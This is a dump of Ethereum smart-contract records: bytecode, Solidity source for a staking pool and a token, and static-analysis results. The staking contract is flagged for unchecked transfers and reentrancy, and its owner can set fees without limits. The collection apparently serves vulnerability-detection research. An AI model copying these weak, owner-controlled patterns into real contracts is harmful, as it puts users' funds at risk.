373ffffffffffffffffffffffffffffffffffffffff167fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558060405160405180910390a45050565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612215576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061334f6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561229b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061316a6023913960400191505060405180910390fd5b60001515600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514612361576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f45524332303a2073656e6465722061646472657373200000000000000000000081525060200191505060405180910390fd5b61236c84848461311a565b6000816000015411156126f15780600101544211156124de5760008160010181905550600081600001819055506124048260405180606001604052806026815260200161323c602691396000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612497826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126ec565b600061254f826000015460405180606001604052806022815260200161321a602291396000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b905061257e8360405180606001604052806026815260200161323c602691398361289d9092919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061261582600001546000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126a8836000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b612832565b61275c8260405180606001604052806026815260200161323c602691396000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127ef826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b600083831115829061294a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561290f5780820151818401526020810190506128f4565b50505050905090810190601f16801561293c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156129e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061332e6021913960400191505060405180910390fd5b6129ef8260008361311a565b612a5a816040518060600160405280602281526020016131b0602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ab18160055461311f90919063ffffffff16565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612ba7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806133986023913960400191505060405180910390fd5b60001515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514612c50576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061318d6023913960400191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600115158173ffffffffffffffffffffffffffffffffffffffff167f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c260405160405180910390a350565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612dd7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2043616e2774206c6f636b207a65726f2061646472657373000081525060200191505060405180910390fd5b612dee838260000154611d8190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612e84576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806132ae6030913960400191505060405180910390fd5b60008160010154118015612e9b5750806001015442115b15612eb55760008160010181905550600081600001819055505b818160010181905550612ed5838260000154611d8190919063ffffffff16565b81600001819055508181600001548573ffffffffffffffffffffffffffffffffffffffff167fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558060405160405180910390a450505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612fb2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806133986023913960400191505060405180910390fd5b60011515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514613078576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2041646472657373206e6f7420626c61636b6c6973746564000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600015158173ffffffffffffffffffffffffffffffffffffffff167f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c260405160405180910390a350565b505050565b600061316183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061289d565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a204164647265737320616c726561647920696e20626c61636b6c69737445524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206c6f636b20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654f776e61626c653a206f6c642061646d696e20697320746865207a65726f20616464726573734f776e61626c653a206e65772061646d696e20697320746865207a65726f206164647265737345524332303a20596f752063616e2774206c6f636b206d6f7265207468616e206163636f756e742062616c616e6365734f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f7245524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2043616e277420626c61636b6c697374207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4f776e61626c653a206164647265737320697320616c72656164792061646d696ea2646970667358221220e40426a1da88e40b420ffa873249033716e5b56a9079fd47c8776c37e02a087064736f6c63430007060033
|
{"success": true, "error": null, "results": {}}
| 7,869 |
0x714b60aa2d51aedfca076961be65830000e1aea6
|
pragma solidity 0.6.12;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public admin;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
admin = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == admin);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(admin, newOwner);
admin = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract Pool1 is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// yfilend token contract address
address public tokenAddress;
// reward rate % per year
uint public rewardRate = 66000;
uint public rewardInterval = 365 days;
// staking fee percent
uint public stakingFeeRate = 0;
// unstaking fee percent
uint public unstakingFeeRate = 0;
// unstaking possible Time
uint public PossibleUnstakeTime = 48 hours;
uint public totalClaimedRewards = 0;
uint private FundedTokens;
bool public stakingStatus = false;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
/*=============================ADMINISTRATIVE FUNCTIONS ==================================*/
function setTokenAddresses(address _tokenAddr) public onlyOwner returns(bool){
require(_tokenAddr != address(0), "Invalid address format is not supported");
tokenAddress = _tokenAddr;
}
function stakingFeeRateSet(uint _stakingFeeRate, uint _unstakingFeeRate) public onlyOwner returns(bool){
stakingFeeRate = _stakingFeeRate;
unstakingFeeRate = _unstakingFeeRate;
}
function rewardRateSet(uint _rewardRate) public onlyOwner returns(bool){
rewardRate = _rewardRate;
}
function StakingReturnsAmountSet(uint _poolreward) public onlyOwner returns(bool){
FundedTokens = _poolreward;
}
function possibleUnstakeTimeSet(uint _possibleUnstakeTime) public onlyOwner returns(bool){
PossibleUnstakeTime = _possibleUnstakeTime;
}
function rewardIntervalSet(uint _rewardInterval) public onlyOwner returns(bool){
rewardInterval = _rewardInterval;
}
function allowStaking(bool _status) public onlyOwner returns(bool){
require(tokenAddress != address(0), "Interracting token address is not yet configured");
stakingStatus = _status;
}
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
if (_tokenAddr == tokenAddress) {
if (_amount > getFundedTokens()) {
revert();
}
totalClaimedRewards = totalClaimedRewards.add(_amount);
}
Token(_tokenAddr).transfer(_to, _amount);
}
function updateAccount(address account) private {
uint unclaimedDivs = getUnclaimedDivs(account);
if (unclaimedDivs > 0) {
require(Token(tokenAddress).transfer(account, unclaimedDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(unclaimedDivs);
totalClaimedRewards = totalClaimedRewards.add(unclaimedDivs);
emit RewardsTransferred(account, unclaimedDivs);
}
lastClaimedTime[account] = now;
}
function getUnclaimedDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff = now.sub(lastClaimedTime[_holder]);
uint stakedAmount = depositedTokens[_holder];
uint unclaimedDivs = stakedAmount
.mul(rewardRate)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
return unclaimedDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function plant(uint amountToStake) public {
require(stakingStatus == true, "Staking is not yet initialized");
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
uint fee = amountToStake.mul(stakingFeeRate).div(1e4);
uint amountAfterFee = amountToStake.sub(fee);
require(Token(tokenAddress).transfer(admin, fee), "Could not transfer deposit fee.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = now;
}
}
function uproot(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(stakingTime[msg.sender]) > PossibleUnstakeTime, "You have not staked for a while yet, kindly wait a bit more");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(tokenAddress).transfer(admin, fee), "Could not transfer withdraw fee.");
require(Token(tokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function reap() public {
updateAccount(msg.sender);
}
function getFundedTokens() public view returns (uint) {
if (totalClaimedRewards >= FundedTokens) {
return 0;
}
uint remaining = FundedTokens.sub(totalClaimedRewards);
return remaining;
}
}
|
0x608060405234801561001057600080fd5b50600436106101c45760003560e01c80637b0a47ee116100f9578063d578ceab11610097578063f2fde38b11610071578063f2fde38b1461042a578063f3073ee714610450578063f3f91fa01461046f578063f851a44014610495576101c4565b8063d578ceab14610412578063d816c7d51461041a578063f1587ea114610422576101c4565b8063c0a6d78b116100d3578063c0a6d78b146103aa578063c326bf4f146103c7578063c383e22b146103ed578063c72896ac1461040a576101c4565b80637b0a47ee146103765780639d76ea581461037e578063bec4de3f146103a2576101c4565b8063455ab53c116101665780635ef057be116101405780635ef057be1461030a5780636270cd18146103125780636654ffdf146103385780636a395ccb14610340576101c4565b8063455ab53c146102bf5780634908e386146102c7578063583d42fd146102e4576101c4565b8063308feec3116101a2578063308feec314610258578063335e56cc1461026057806337c5785a1461027f57806338443177146102a2576101c4565b8063069ca4d0146101c95780630d2adb90146101fa5780631e94723f14610220575b600080fd5b6101e6600480360360208110156101df57600080fd5b503561049d565b604080519115158252519081900360200190f35b6101e66004803603602081101561021057600080fd5b50356001600160a01b03166104be565b6102466004803603602081101561023657600080fd5b50356001600160a01b031661053f565b60408051918252519081900360200190f35b6102466105f8565b61027d6004803603602081101561027657600080fd5b503561060a565b005b6101e66004803603604081101561029557600080fd5b508035906020013561090f565b6101e6600480360360208110156102b857600080fd5b5035610933565b6101e6610954565b6101e6600480360360208110156102dd57600080fd5b503561095d565b610246600480360360208110156102fa57600080fd5b50356001600160a01b031661097e565b610246610990565b6102466004803603602081101561032857600080fd5b50356001600160a01b0316610996565b6102466109a8565b61027d6004803603606081101561035657600080fd5b506001600160a01b038135811691602081013590911690604001356109ae565b610246610a88565b610386610a8e565b604080516001600160a01b039092168252519081900360200190f35b610246610a9d565b6101e6600480360360208110156103c057600080fd5b5035610aa3565b610246600480360360208110156103dd57600080fd5b50356001600160a01b0316610ac4565b61027d6004803603602081101561040357600080fd5b5035610ad6565b61027d610dcb565b610246610dd6565b610246610ddc565b610246610de2565b61027d6004803603602081101561044057600080fd5b50356001600160a01b0316610e16565b6101e66004803603602081101561046657600080fd5b50351515610e9b565b6102466004803603602081101561048557600080fd5b50356001600160a01b0316610f0f565b610386610f21565b600080546001600160a01b031633146104b557600080fd5b60039190915590565b600080546001600160a01b031633146104d657600080fd5b6001600160a01b03821661051b5760405162461bcd60e51b81526004018080602001828103825260278152602001806112d56027913960400191505060405180910390fd5b600180546001600160a01b0319166001600160a01b03939093169290921790915590565b600061054c600a83610f30565b610558575060006105f3565b6001600160a01b0382166000908152600c602052604090205461057d575060006105f3565b6001600160a01b0382166000908152600e60205260408120546105a1904290610f4e565b6001600160a01b0384166000908152600c602052604081205460035460025493945090926105ed91612710916105e79190829088906105e1908990610f60565b90610f60565b90610f80565b93505050505b919050565b6000610604600a610f95565b90505b90565b336000908152600c602052604090205481111561066e576040805162461bcd60e51b815260206004820152601a60248201527f496e76616c696420616d6f756e7420746f207769746864726177000000000000604482015290519081900360640190fd5b600654336000908152600d602052604090205461068c904290610f4e565b116106c85760405162461bcd60e51b815260040180806020018281038252603b81526020018061129a603b913960400191505060405180910390fd5b6106d133610fa0565b60006106ee6127106105e760055485610f6090919063ffffffff16565b905060006106fc8383610f4e565b600154600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b15801561075857600080fd5b505af115801561076c573d6000803e3d6000fd5b505050506040513d602081101561078257600080fd5b50516107d5576040805162461bcd60e51b815260206004820181905260248201527f436f756c64206e6f74207472616e73666572207769746864726177206665652e604482015290519081900360640190fd5b6001546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b15801561082957600080fd5b505af115801561083d573d6000803e3d6000fd5b505050506040513d602081101561085357600080fd5b50516108a6576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b336000908152600c60205260409020546108c09084610f4e565b336000818152600c60205260409020919091556108df90600a90610f30565b80156108f85750336000908152600c6020526040902054155b1561090a57610908600a33611134565b505b505050565b600080546001600160a01b0316331461092757600080fd5b60049290925560055590565b600080546001600160a01b0316331461094b57600080fd5b60089190915590565b60095460ff1681565b600080546001600160a01b0316331461097557600080fd5b60029190915590565b600d6020526000908152604090205481565b60045481565b600f6020526000908152604090205481565b60065481565b6000546001600160a01b031633146109c557600080fd5b6001546001600160a01b0384811691161415610a00576109e3610de2565b8111156109ef57600080fd5b6007546109fc9082611149565b6007555b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610a5757600080fd5b505af1158015610a6b573d6000803e3d6000fd5b505050506040513d6020811015610a8157600080fd5b5050505050565b60025481565b6001546001600160a01b031681565b60035481565b600080546001600160a01b03163314610abb57600080fd5b60069190915590565b600c6020526000908152604090205481565b60095460ff161515600114610b32576040805162461bcd60e51b815260206004820152601e60248201527f5374616b696e67206973206e6f742079657420696e697469616c697a65640000604482015290519081900360640190fd5b60008111610b87576040805162461bcd60e51b815260206004820152601760248201527f43616e6e6f74206465706f736974203020546f6b656e73000000000000000000604482015290519081900360640190fd5b600154604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015610be157600080fd5b505af1158015610bf5573d6000803e3d6000fd5b505050506040513d6020811015610c0b57600080fd5b5051610c5e576040805162461bcd60e51b815260206004820152601c60248201527f496e73756666696369656e7420546f6b656e20416c6c6f77616e636500000000604482015290519081900360640190fd5b610c6733610fa0565b6000610c846127106105e760045485610f6090919063ffffffff16565b90506000610c928383610f4e565b600154600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b158015610cee57600080fd5b505af1158015610d02573d6000803e3d6000fd5b505050506040513d6020811015610d1857600080fd5b5051610d6b576040805162461bcd60e51b815260206004820152601f60248201527f436f756c64206e6f74207472616e73666572206465706f736974206665652e00604482015290519081900360640190fd5b336000908152600c6020526040902054610d859082611149565b336000818152600c6020526040902091909155610da490600a90610f30565b61090a57610db3600a33611158565b50336000908152600d60205260409020429055505050565b610dd433610fa0565b565b60075481565b60055481565b600060085460075410610df757506000610607565b6000610e10600754600854610f4e90919063ffffffff16565b91505090565b6000546001600160a01b03163314610e2d57600080fd5b6001600160a01b038116610e4057600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b03163314610eb357600080fd5b6001546001600160a01b0316610efa5760405162461bcd60e51b81526004018080602001828103825260308152602001806112fc6030913960400191505060405180910390fd5b6009805460ff19169215159290921790915590565b600e6020526000908152604090205481565b6000546001600160a01b031681565b6000610f45836001600160a01b03841661116d565b90505b92915050565b600082821115610f5a57fe5b50900390565b6000828202831580610f7a575082848281610f7757fe5b04145b610f4557fe5b600080828481610f8c57fe5b04949350505050565b6000610f4882611185565b6000610fab8261053f565b90508015611117576001546040805163a9059cbb60e01b81526001600160a01b038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b15801561100957600080fd5b505af115801561101d573d6000803e3d6000fd5b505050506040513d602081101561103357600080fd5b5051611086576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b6001600160a01b0382166000908152600f60205260409020546110a99082611149565b6001600160a01b0383166000908152600f60205260409020556007546110cf9082611149565b600755604080516001600160a01b03841681526020810183905281517f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf130929181900390910190a15b506001600160a01b03166000908152600e60205260409020429055565b6000610f45836001600160a01b038416611189565b600082820183811015610f4557fe5b6000610f45836001600160a01b03841661124f565b60009081526001919091016020526040902054151590565b5490565b6000818152600183016020526040812054801561124557835460001980830191908101906000908790839081106111bc57fe5b90600052602060002001549050808760000184815481106111d957fe5b60009182526020808320909101929092558281526001898101909252604090209084019055865487908061120957fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610f48565b6000915050610f48565b600061125b838361116d565b61129157508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610f48565b506000610f4856fe596f752068617665206e6f74207374616b656420666f722061207768696c65207965742c206b696e646c792077616974206120626974206d6f7265496e76616c6964206164647265737320666f726d6174206973206e6f7420737570706f72746564496e74657272616374696e6720746f6b656e2061646472657373206973206e6f742079657420636f6e66696775726564a2646970667358221220164ee1fca8cd2c223b191c302baaf4d78e819ac658fcb74c941533190c43c81864736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 7,870 |
0xbad04b9dac7bb745ae6dfc3f042b4f325f851a14
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
